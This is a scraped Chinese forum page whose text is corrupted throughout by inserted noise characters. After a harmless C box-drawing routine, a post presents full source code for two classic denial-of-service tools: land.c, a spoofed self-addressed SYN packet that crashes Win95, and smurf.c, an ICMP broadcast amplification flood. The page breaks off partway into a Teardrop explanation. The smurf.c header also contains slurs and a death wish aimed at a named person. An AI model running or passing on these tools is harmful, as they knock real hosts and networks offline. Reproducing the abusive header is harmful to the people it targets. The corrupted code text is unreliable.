*/ u: y# E# h% `7 `2 k
* Short driver module
" O1 p( y, A: u- z*
# `: X! b4 Q( H- F) [*/</FONT></P><><FONT color=#009900>main()
; Z7 K7 q8 x& r  _' |4 J{
' Y+ q9 O2 ?! wclrscr();
+ I, Q8 ?$ W0 \; n6 [box(1,1,23,79);- n0 _- \' i! `4 x! _- Z+ W7 |, z- ]
box(2,2,21,77);
' B0 a4 i( T0 Q4 E* W, _box(3,3,19,75);/ T* R; S, u7 y! C/ O( a
box(4,4,17,73);
" O# s& L, Q. _box(5,5,15,71);
+ A. S: X% |  vbox(6,6,13,69);
, t9 J& i7 E, M/ |box(7,7,11,67);
' |: w0 i# Z' ?3 o6 n2 Mbox(8,8,9,65);/ K) a7 b7 C+ ]9 G
box(9,9,7,63);
. O7 a) j7 r' Dbox(10,10,5,61);0 K  K0 a3 L9 C/ K) S) [
box(11,11,3,59);, Z) S1 I* u; v
box(12,12,1,57);5 n+ J! i% a8 u# @: z: ~3 O- W0 F
poscur(24,1);
# s9 q" \; ^4 I* R}</FONT></P><><FONT color=#009900>/************************************************************* v& n0 X5 S5 P# C
* BOX */ v3 V% R' `5 `: N1 V) O6 `
*----------------------------------------------------------*
; m; q% A: Q5 Y" W* Written by: Jeff Ebert 7/01/87 *
) H% T9 x) L1 u0 h9 L! H: k* Modified by: xxxxxxxxxx *
' o2 R2 j4 r$ J* *
" n+ e. u  E( ?; a$ a% p* Please modify me! *, G$ X% Y  A! q3 a# [
* Possible Enhancements include but are not limited t *
* h% [6 }/ U8 J0 G. X* 1) Variable box character styles [1 line or 2] *8 l; u8 m3 U/ u. O% }
* 2) Error checking *, S$ I; P) _" e) p
* 3) Color options *' T# ^4 m# U2 K2 Q5 K
* *
. T, B/ O. v6 L& s4 ?- o* *: H8 t* s+ q2 H+ Z/ F0 G3 a9 ?
* This function builds a simple double frame for a menu. *
$ B6 ^+ }1 ?% g; j) j0 ]* The function is passed the parameters for the upper *+ P; R0 S& X/ A" y) m# t
* left corner row, upper left corner column the height *, D4 {2 w* h8 t8 t8 j8 a2 W
* of the frame and the width. *
2 H( J; z7 \$ ^2 M6 w0 R* c* *9 P, |9 b! |! a
************************************************************/8 P4 p/ O5 r- t1 y4 u
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2016 \" [6 n, h, N9 @9 \
#define URCOR 187
% u+ P# x/ n/ G- [8 y  X; ?#define LLCOR 200
; |6 O. A9 E) X: }8 |#define LRCOR 188  |* u' ?0 ]: E# y+ \
#define VBAR 186
/ a/ l; g3 q! {; @9 t- R' f) P: u#define HBAR 205
) k8 ]' U' c" Y/ O5 m8 ~, v; U#define ESC 27</FONT></P><><FONT color=#009900>4 i# q3 ^4 V$ `. m
box(row, col, hgt, wdth)+ k' o# }3 f+ d+ X5 B
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{9 _+ |. O* @3 z" ?/ d1 V' D
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
+ }2 s& T8 B% Z5 q. T; Wputchar(ULCOR);$ H9 o- p7 x7 m1 w7 D
for(x = col + 1; x &lt;=(col + wdth -1); x++)4 s: h& Q% y" g1 a
putchar(HBAR);7 @6 W! x) M# x: A4 z' `$ ?/ i
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){6 ~* J) W* D/ |3 x1 ~1 V* ~
poscur(x,col);9 q5 b3 Z8 k' g: Y; y& k0 |* G
putchar(VBAR);
' ]% ?% S' k' W* Z) oposcur(x,col+wdth);7 C: W: o& N3 N6 p
putchar(VBAR);4 P' [  E3 R8 C8 Q
}6 T3 E. S! B) B
poscur(x,col);
4 B5 P. H' m. `3 |& fputchar(LLCOR);( e: A. y' r0 U- x) a" f' t
for(x= col + 1; x &lt;=(col + wdth -1); x++)
+ G; ^* {6 @1 mputchar(HBAR);; Z3 P$ b. j( d! e2 g/ k
putchar(LRCOR);9 x' U' F! V6 I  F
}</FONT></P><><FONT color=#009900>/********************************************************$ `3 b# ]: x* k# F* b5 A4 Q$ s2 v
* POSCUR *, c0 L  j, ^  m2 @
*------------------------------------------------------*% _9 M' F! _; {- Q' b- r& s; k% n
* This function positions the cursor at the specified *
) Y+ M/ D+ f5 b# p( A$ g* x,y coordinate. It uses the ANSI standard ESCAPE *% P( [. t$ y- x- a# |
* sequence to produce the desired effect. Its not the *0 f5 M" v9 A% ?
* fastest way to position the cursor, but perhaps the *5 Z/ H# s. \6 L  @0 k0 U; x
* most portable. *
* j  K6 y2 w$ J* *
# U; X7 J0 B8 |; ]9 \0 P********************************************************/8 L- a/ s# H0 ]" q# v( ]) w
poscur(xcor,ycor)) p/ a) u5 h' \' F) y
int xcor,ycor;
9 H) k2 }- L! V2 {% u{
/ |6 E& C$ K  q& t6 v/ {printf("%c[%d;%dH",ESC,xcor,ycor);! X1 l% D7 I8 F% ]
}</FONT></P><><FONT color=#009900>
" ^  p. `* ?1 ~% y/********************************************************
. ~/ V# [' v/ g1 D* CLRSCR */ P7 m5 C9 G0 G$ L3 x
*------------------------------------------------------*- X) L" q# N+ \- X
* This function positions the cursor at the specified *
- b5 b9 @8 U( \% j  e* x,y coordinate. It uses the ANSI standard ESCAPE *& }1 }7 Q3 }0 s, u
* sequence to produce the desired effect. Its not the *! ]3 Y/ Z6 b! A2 s& O
* fastest way to position the cursor, but perhaps the *
# u8 p0 F0 _! f" V  X. M) D* most portable. *
: u1 t4 e2 I* T  p( V2 ]* *
& j* l1 ?0 l# C- ~1 G1 Q********************************************************/" V5 u' r6 ^$ K9 C. B* O& q3 w
clrscr()
- i- N$ i4 B+ F# `5 N{ & ~9 q- x% p7 D: K1 y
printf("%c[2J",ESC);6 h+ ^5 O) l5 |  i4 Q: y( S
}</FONT>
# r- G6 ~3 d4 ~</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract: C3 |' M- h8 H0 w9 a7 D  p
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自3 x. W4 W. k2 Q; ^
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><># A& T" Y5 B; A! @9 G+ H
<FONT color=#009900>/* land.c by m3lt, FLC; ~% d$ A/ G5 D2 l! b
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>  k, v8 p' b  D  \2 O  d7 D
#include <NETDB.H>
4 a; p) R0 n  X. p) l#include <ARPA inet.h>
' M+ [0 ]2 B) O# D0 N3 J0 |#include <NETINET in.h>
" W" }  h. p8 o. |' n- ?, ?( ~#include <SYS types.h>  t8 V! P# i5 T+ o" |+ V
#include <SYS socket.h>
# j0 L; z8 a( ?$ T& A#include <NETINET ip.h>: m+ K% a9 G6 e7 X# R& N
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
0 s% Y; }7 B, I( k0 P$ Dstruct pseudohdr
! z/ i" R: B# x2 R) F{
& M- l% ~: O" N  V- T( Xstruct in_addr saddr;
  W% h: _  ]) U5 m5 g$ q1 |; tstruct in_addr daddr;5 ~% a: ?* V: r& f, [6 b  b
u_char zero;
9 U; y4 o5 g  h* ?( Iu_char protocol;; i3 M4 I6 B0 s  u) f1 t& x- ^
u_short length;" |  ~( _5 r& u# T) M
struct tcphdr tcpheader;
, j, X' E5 _6 k* L: O  \' t: ^; _% l9 d};</FONT></P><><FONT color=#009900>//计算IP校验和9 ^0 Q! f+ B, R8 z5 x0 w
u_short checksum(u_short * data,u_short length)
( x. Q! R2 L+ R8 K{; p  j  |5 L. E  N# _9 N# L
register long value;
. A' k9 Z) `0 L) m0 x9 B4 G" a3 Lu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
- |% ^9 f+ G) a7 ^4 gvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)7 a0 t' C$ D. K! a3 F7 z
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
5 R! R0 ]( ]0 T. K1 S5 V+ h' K, g}</FONT></P><><FONT color=#009900>
! _5 i& F7 K$ B, q# g" U! }+ [int main(int argc,char * * argv)
5 Y" t1 T; J  a& H$ _{9 n- g% s" E8 Q" I
struct sockaddr_in sin;6 ^+ t9 S2 K# Y/ e! V) v
struct hostent * hoste;
* ^* ?; H* Z3 C* B. N0 |, ]int sock;
* e  T2 g1 K+ |7 p/ }3 schar buffer[40];* k9 r2 j  x/ c- w( n' L
struct iphdr * ipheader=(struct iphdr *) buffer;
& U% s9 Y4 g$ k9 _' i# kstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));& i! s4 l6 Y6 ?2 z
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)" {: s4 N$ G" \  V$ h+ R
{5 g6 }+ ]0 }* A, C- N1 p! e2 @
fprintf(stderr,"usage: %s IP port\n",argv[0]);
5 ^; n1 B, m( }8 m4 c6 H$ ureturn(-1);
2 ~! c: T# [$ X: C}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));. L! P; z+ g. p% A0 a* S) l
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)+ Y# m; E; e  j2 }
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
4 D1 T) J: ?: y2 z  yelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
2 S3 K0 Q, F, {6 V) {( v. Q6 y4 c1 m{" u, O% j- s/ r4 v( e" b* F
fprintf(stderr,"unknown host %s\n",argv[1]);- Q6 d2 S/ }( T- N
return(-1);- ]$ n1 D- a3 ]% H
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)* H' `  u' y& m+ O1 h& W
{
1 n! N  o. x) p/ M8 P! A9 sfprintf(stderr,"unknown port %s\n",argv[2]);
# w, A6 S% [7 s, r! rreturn(-1);
. G( N; \2 N. }( |1 m4 j}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
* m' I1 y& _2 @if((sock=socket(AF_INET,SOCK_RAW,255))==-1)& n9 S5 x! i& u! C
{
" \8 m1 {" g  q2 h- [( r/ Kfprintf(stderr,"couldn't allocate raw socket\n");. L3 Y7 n/ X  d. z, q( d+ `
return(-1);. V1 N" z2 l( D# o3 o# v
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));; G" ]0 ]% Z* f1 z" K( V
ipheader-&gt;version=4;
+ Z& r+ n$ j$ B* T3 H3 ]ipheader-&gt;ihl=sizeof(struct iphdr)/4;/ P0 A3 U; y4 j0 n$ e2 L
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
+ G2 X) {: |" ~' U( j" }! oipheader-&gt;id=htons(0xF1C);
  u+ }3 |3 n: {: Y) @$ f; Fipheader-&gt;ttl=255;! b0 w% X# x5 F7 k+ R
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同! Z0 d6 Y. t/ l5 i
ipheader-&gt;saddr=sin.sin_addr.s_addr;
! U! I3 P9 ]0 Sipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
6 F+ C' ~; k6 Q- V# y& k3 atcpheader-&gt;th_sport=sin.sin_port;2 T4 Z3 J" I! U, y8 t0 s/ S
tcpheader-&gt;th_dport=sin.sin_port;* F) Z0 b9 V( N2 X
tcpheader-&gt;th_seq=htonl(0xF1C);5 B+ ]* m/ V2 T7 J1 I
tcpheader-&gt;th_flags=TH_SYN;. x1 a! `/ Q$ |" b
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;: Y% `7 ?) Q! Y9 Y# o
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
8 w9 [) Z0 g  w& wpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
- X! N! @9 p* ~$ Z2 a/ }% W. @pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
) X" e9 U& f; Z( a$ gpseudoheader.protocol=6;
8 q0 c1 b6 k/ j+ npseudoheader.length=htons(sizeof(struct tcphdr));
$ @7 m. ]( A: K. H. P. [bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));- U4 |8 N( y5 S7 j
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),/ I% l; Y8 _4 S4 [% ?+ H/ a
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
7 {6 i6 a8 B$ Z3 p8 r. V3 v{9 \7 L! C+ Y: {
fprintf(stderr,"couldn't send packet\n");
6 P" ^- Y- [  \; l8 [: X& I5 S! t$ [return(-1);3 t/ G7 }8 F/ ~8 m
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
" y" V& n& L- }  z& C5 u& ureturn(0);" Z6 ]0 x3 `/ k, H; J# y/ a7 d+ V
}</FONT></P><>
8 d5 j# Q/ I& Z: {3 |& D3 u- y, [; E2 Smurf/ w" z2 Y6 ^% O8 s6 I9 s
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
4 b) d9 k0 s( i4 t0 e% u9 T据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
; e* s  O' y: e# f0 x9 {的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些4 r; Y# z) ?( O5 E1 s" a" Q- Z* F
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
3 D: y* z# F. u6 L4 f1 G(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
& ~1 W- V3 \2 ^成不可能(没有WINS服务器时)。</P><P>/*/ u8 ?/ d& A6 [+ b2 v( [
*% D# ]* B+ |5 P& [$ U+ U$ ~: V4 h" k
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $# z4 x" o5 g4 E0 |7 n: o4 O
*
( O# _; ]" a& x5 ^* spoofs icmp packets from a host to various broadcast addresses resulting+ e0 S0 i  h6 f1 O) u/ F# j4 i
* in multiple replies to that host from a single packet.
4 U, s+ N& M8 c- T% V** `) r' }* w6 f( q: x6 _
* mad head t3 E  `+ v2 i5 c2 q; m1 J  b4 }* }
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,# \% P' S2 l0 A- ~. t% v
* MissSatan for swallowing, napster for pimping my sister, the guy that
# _( q- L& J, Z* invented vaseline, fyber for trying, knowy, old school #havok, kain
1 Q4 ~2 ^% U2 t1 p! _. j9 Z* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
- K- {) F6 z9 u! \! {) [% C( A$ Q* have missed (you know who you are)., H2 v$ J3 g& B& y8 a5 d
*- k+ G; ~  b- \
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
7 o9 h& c- J  V6 j) T/ {* thing he is (he's -almost- as stubborn as me, still i managed to pick up7 {9 U% w! n+ W& K, F' o2 K
* half the cheque).
0 B5 z1 d+ P4 o. E$ T5 _. r*
! E. x, [$ \, P& g1 ]( k* and a special hi to Todd, face it dude, you're fucking awesome.
. ]* k" I7 i* V9 h+ r+ Q+ Y! ?/ r*9 V) U/ t0 t4 b& _, b) r
* mad anal t
' J- |4 P8 y' ^+ D8 |- i* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps; F7 G, o% j  N4 z# K' q' J1 r5 ?
* because they plain suck, Rolex for being a twit, everyone that
# x' _9 H$ P7 h- W  E' K5 d. X* trades warez, Caren for being a lesbian hoe, AcidKill for being her
7 v0 Y' C  ~9 ^, f* partner, #cha0s, sedriss for having an ego in inverse proportion to8 h! ^) Z( b* u' ]
* his penis and anyone that can't pee standing up -- you don't know what
7 G' Y1 z  x' q' I$ L# Y* your missing out on.
$ Y1 z  }2 ~: Z, \9 U*
8 N& `/ l6 ]: H# P! W6 A; }2 [* u* x* and anyone thats ripped my code (diff smurf.c axcast.c is rather
- i8 ]6 j5 ^3 x5 i  X5 H2 A7 V* interesting).! U, R- f/ i2 c1 w$ P. q
*
! V; o0 s4 A7 s8 Z( ~* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill2 Y$ c( `0 D& [& [: d3 q
* Robbins for trying to steal my girlfriend. Not only did you show me
5 q6 p+ f4 ?9 P7 r5 _0 b* no respect but you're a manipulating prick who tried to take away the
" {2 k; {% j) f* most important thing in the world to me with no guilt whatsoever, and- `0 v! C, t' M4 M7 s! w
* for that I wish you nothing but pain. Die.
0 k( n! G0 u, ~6 w' G9 i2 R9 a3 f. Y" X*/ {$ l; H) z7 t- e$ e$ P
* disclaimer:! O7 }; b; @  V8 `" U
* I cannot and will not be held responsible nor legally bound for the0 ~; N) ?" {9 @4 V  ^* {) s
* malicious activities of individuals who come into possession of this
  u. P+ n* H$ ^6 n' x: {, |* program and I refuse to provide help or support of any kind and do NOT
4 W& A% i2 o/ {# R* condone use of this program to deny service to anyone or any machine.
$ s! J/ G3 D2 l$ ?* This is for educational use only. Please Don't abuse this.
, `( N( r( W. d$ t2 m6 _7 t1 n*. |$ b, O$ e- z" Q1 f
* Well, i really, really, hate this code, but yet here I am creating another: a: F( t# C; B& c6 b+ p. Z1 T
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,3 R. b, y7 e0 }! x$ X" V3 C
* like most programmers don't like seeing bugs in their code. I saw a few
+ j1 k4 X7 }/ N* things that should have been done better or needed fixing so I fixed0 a# A/ \: i4 Z  S( e- ?2 E/ ~
* them. -shrug-, programming for me as always seemed to take the pain away
  B  s5 l$ t6 n+ ^, `( z* ...  M4 k0 D+ r) ~) i4 D. h
*
6 Q9 X: G$ u! p4 Y5 q+ l$ `' w*9 G" c& u- m7 D7 `; [; @0 M+ ^
*/</P><P>#include <SIGNAL.H>* X( ^7 @- e4 ?% T, T3 s2 i. J
#include <STDIO.H>; h+ d  [: E. D3 e; |8 z6 r
#include <STDLIB.H>& C7 S, x( q; E. K2 D+ k
#include <SYS socket.h>
, V2 |6 K9 H, ]4 V#include <SYS types.h>+ J8 X7 o# @) V1 n4 R$ {2 X
#include <NETINET in.h>! A" w* \0 E! X, m4 d' B
#include <NETINET ip.h>' G" I8 ]3 h( @
#include <NETINET ip_icmp.h>$ w8 J+ _/ c% _* A5 F
#include <NETDB.H>
( a6 c. g* z: I) w8 U2 y$ d9 E#include <CTYPE.H>
0 X; o  a8 U8 ?7 R  u#include <ARPA inet.h>
6 @/ `  g6 P7 T( j$ g#include <UNISTD.H>
3 W5 }5 S# o+ I#include <STRING.H></P><P>void banner(void);: b) Q/ ~% Y' v! f9 H+ `' O: S
void usage(char *);
. |8 f. g6 M+ Z, n( Z4 L( yvoid smurf(int, struct sockaddr_in, u_long, int);! g0 F6 x! s% U- x
void ctrlc(int);
5 w$ G4 c  x0 O. I5 o8 zunsigned short in_chksum(u_short *, int);</P><P>/* stamp */7 T4 j! R" j2 c4 _. y& e9 M' ]1 a
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
% Z, T- t- p. I" Y: E{
  R; Q" b. m, u. f/ e" Q2 T, y0 Astruct sockaddr_in sin;
1 C5 J$ w. E& vstruct hostent *he;
/ u3 q5 T' i& d/ k2 O6 r1 `6 \FILE *bcastfile;) R# T5 x2 s  j. b' i
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
% V7 a' H! b, K, G8 W! Zchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
+ ?( J5 U$ y# D5 l& vsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
8 ^# M" T( Z3 H: `, A8 \8 x% Pperror("resolving source host");2 u5 A- g3 s& T, I: x( O; H/ e8 N
exit(-1);$ }' \, f9 X! }8 k7 u2 u
}
5 a. |" E! H7 s& ^8 amemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
' G' G0 v& M5 N+ u/ O  i1 _7 Zsin.sin_family = AF_INET;
: h, R/ G% _' B4 Wsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);6 J! Z! ~( _  m: T' B/ h
delay = atoi(argv[4]);- b( v0 Y( R; U: y! ^
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {3 B& G6 A: M1 m' n% y! R* i: Y
perror("opening bcast file");
' W! c: s; H7 a, C( Q3 eexit(-1);( V/ b+ q- [+ G0 q, a% k
}- }6 V3 v7 `. S. ?) p7 l4 Z# V
x = 0;
8 X/ T( |% K, A+ nwhile (!feof(bcastfile)) {
& M# Y( D7 V' w' T8 R% `$ h5 K( @fgets(buf, 32, bcastfile);
' H* B# C% t4 gif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
3 j) m; F, a) l, A# Hfor (i = 0; i &lt; strlen(buf); i++)
; y) K" B7 q7 vif (buf == '\n') buf = '\0';
- i, s8 }5 J& N: y$ G9 ~0 r0 Tbcastaddr[x] = malloc(32);
; A6 b8 z& w$ H9 }& e2 wstrcpy(bcastaddr[x], buf);
2 Y# A' K% b4 `+ q1 H. Q" T" Vx++;7 n' i0 M7 `4 u& E/ a3 E
}
! S) n2 ~, ~+ @& ]) U! d3 P* D) Vbcastaddr[x] = 0x0;
0 j" v- m8 s$ O5 E) M7 I2 Ufclose(bcastfile);</P><P>if (x == 0) {
. J% r9 U, L! X1 H6 }2 ^1 Ifprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
: V+ M+ v/ m3 {2 g! v, Mexit(-1);
# x' R& X2 }" J* f+ M, B6 E( [}
- S% @: z4 p% M) M9 j. Vif (pktsize &gt; 1024) {
9 f! \4 ~- d- K4 Tfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
: f- t7 `% Q+ Q1 c. zexit(-1);
- Y; q/ s) k: f; y7 M1 \! B}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
: A7 I2 d5 @& z4 B* B  Iperror("getting socket");
) x0 I4 h9 d: L2 x; R) lexit(-1);. j* A7 O" h& u
}/ K, V) }$ k) p* C) J" ]9 |
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {- T2 z/ q9 D1 z- k. C# S+ P
if (!(i % 25)) { printf("."); fflush(stdout); }9 f' s4 Q# n# K
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);9 H8 W5 P  |9 C  J9 _& U% m
cycle++;) O/ U( U1 u  }' a5 i; z6 o
if (bcastaddr[cycle] == 0x0) cycle = 0;" f6 q1 P/ [  @/ W6 C7 l' t
usleep(delay);
+ Z* H+ L7 Y. h6 A}' _* |1 h+ P9 m2 G# W* P7 Z$ I9 T: w
puts("\n\n");2 U6 R' b+ k9 a1 s$ g; b% S( H( a
return 0;! }7 G+ Q- i) T( G  s
}</P><P>void banner (void), y9 g" Q0 E2 F- o! b% T# ]
{' T  F6 o8 A% I
puts("\nsmurf.c v4.0 by TFreak\n");
9 i# l) P. w* q, k* o4 V}</P><P>void usage (char *prog)% X+ W* K* }2 v$ B% V: ~' w2 e- I' X
{& ?  V; Z7 |- P# _% @7 s2 d* F- X
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
: Y' u  }- Z9 p"<NUM packets> <PACKET delay><PACKET size>\n\n"
/ s$ U3 A* B. \9 h1 j"target = address to hit\n"" m0 n2 A! b% X0 @8 X/ O
"bcast file = file to read broadcast addresses from\n"7 O) Y2 s  D( |" |
"num packets = number of packets to send (0 = flood)\n"
2 A* D6 u1 {4 e( d" z2 U"packet delay = wait between each packet (in ms)\n"5 `% h* }7 E* _3 j- M0 @' N4 y
"packet size = size of packet (&lt; 1024)\n\n", prog);" ~6 b& }$ k8 |3 P
exit(-1);2 ?: p% i2 O% R: j
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)$ n8 Z  \: t% X, p; E# E8 b" i+ j
{* V, w  v2 T- J* T
struct iphdr *ip;
  a( V0 o$ H! _' J1 ostruct icmphdr *icmp;& q  |7 [6 V. E2 v3 {0 v
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
7 h2 m7 u1 j: g& g' Oip = (struct iphdr *)packet;
3 f- h9 I0 Z+ U. k# J& eicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);" X. \! m0 U9 g4 Y) _0 C8 G- U
ip-&gt;ihl = 5;6 U! ^9 o4 m3 ~1 o
ip-&gt;version = 4;2 |4 \7 q; ?$ ^
ip-&gt;ttl = 255;
4 h6 v7 @: L3 ^5 J" zip-&gt;tos = 0;& q. N  e' @( M$ Q9 M+ B2 V
ip-&gt;frag_off = 0;7 q9 }0 c: h+ k0 u' D
ip-&gt;protocol = IPPROTO_ICMP;( R% j7 m0 y( w& J' d' p6 }
ip-&gt;saddr = sin.sin_addr.s_addr;
+ ]- l- Q- o6 T% u( E- |ip-&gt;daddr = dest;, T- `; F/ g" s, Y5 ~
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));' l& H) i% x" K0 P' U$ s% F8 v
icmp-&gt;type = 8;
+ h: p8 y  m* x  v( Y, S2 vicmp-&gt;code = 0;- I9 ?" }/ j1 R& H! U
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,4 n- g  A' [; a3 Y! W/ x
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */2 W: J, i# b$ W& R$ z# }
}</P><P>void ctrlc (int ignored)
3 s; A1 `! Y3 X; X% `0 D' a{8 I! i( t1 b9 `  l% R1 n
puts("\nDone!\n");
3 q* T' }2 S+ @. W2 ?7 |exit(1);
( g) E0 w; h6 S7 }5 r( E2 j}</P><P>unsigned short in_chksum (u_short *addr, int len). ~, |% ?  O' M! {( A
{
* L8 f1 i* j( m* Qregister int nleft = len;, Q$ u+ H! K; J
register int sum = 0;
% v" G* |+ s  Z0 y: Z( ru_short answer = 0;</P><P>while (nleft &gt; 1) {6 K$ c& e: N2 f- k# M) Y0 \
sum += *addr++;
1 a1 Y% A: Z8 a( B# L3 m/ @nleft -= 2;6 r: D/ w, \, X" A/ I# v
}</P><P>if (nleft == 1) {8 r, H# t% d  o5 @& \* m2 ^
*(u_char *)(&amp;answer) = *(u_char *)addr;
/ d) Z" X6 m0 e& K' q$ qsum += answer;
1 K& _- C6 H! v' w& V}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
( U; ]- b$ z: X9 [) Usum += (sum &gt;&gt; 16);4 X7 ]( @6 r, H% U
answer = ~sum;! s, S$ W! p; `7 o; G- ^
return(answer);
6 J  b. M  {" W5 u7 |& i2 r6 w+ n2 ~8 A}</P><P>0 C" D( T' g5 F  ?, ^# d
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
; W. E% b' Y: c: ?# Q9 ?fp = qp-&gt;fragments;
+ k5 g! g/ [! a! R* I' `while(fp != NULL)" d2 I5 h2 M, i$ r
{
2 j; K( ?( C" ]) O; r2 |if(count+fp-&gt;len &gt; skb-&gt;len)
# c$ a/ w4 U# G1 ]{% y# y% B" B( ~0 x1 p
error_to_big;
% e4 y- }  ?* v# O5 B}
! _4 V3 B, G& S' n4 n. smemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);) E/ C" @, B- [3 i# \
count += fp-&gt;len;9 N8 G8 \/ }% l1 w9 ?
fp = fp-&gt;next;
$ A" A3 z0 H4 V  Q' h- H}
' e6 s, ~4 V  l9 V: ?4 U) }+ s这里只检查了长度过大的情况,而没有考虑长度过小的情况,- c% t0 Y& v" l: e- U
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:; E$ O1 ]0 D+ h/ W' H
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的). L0 [% q6 ^3 [% J
是这样处理的:$ w* [+ N$ n, I8 G1 `
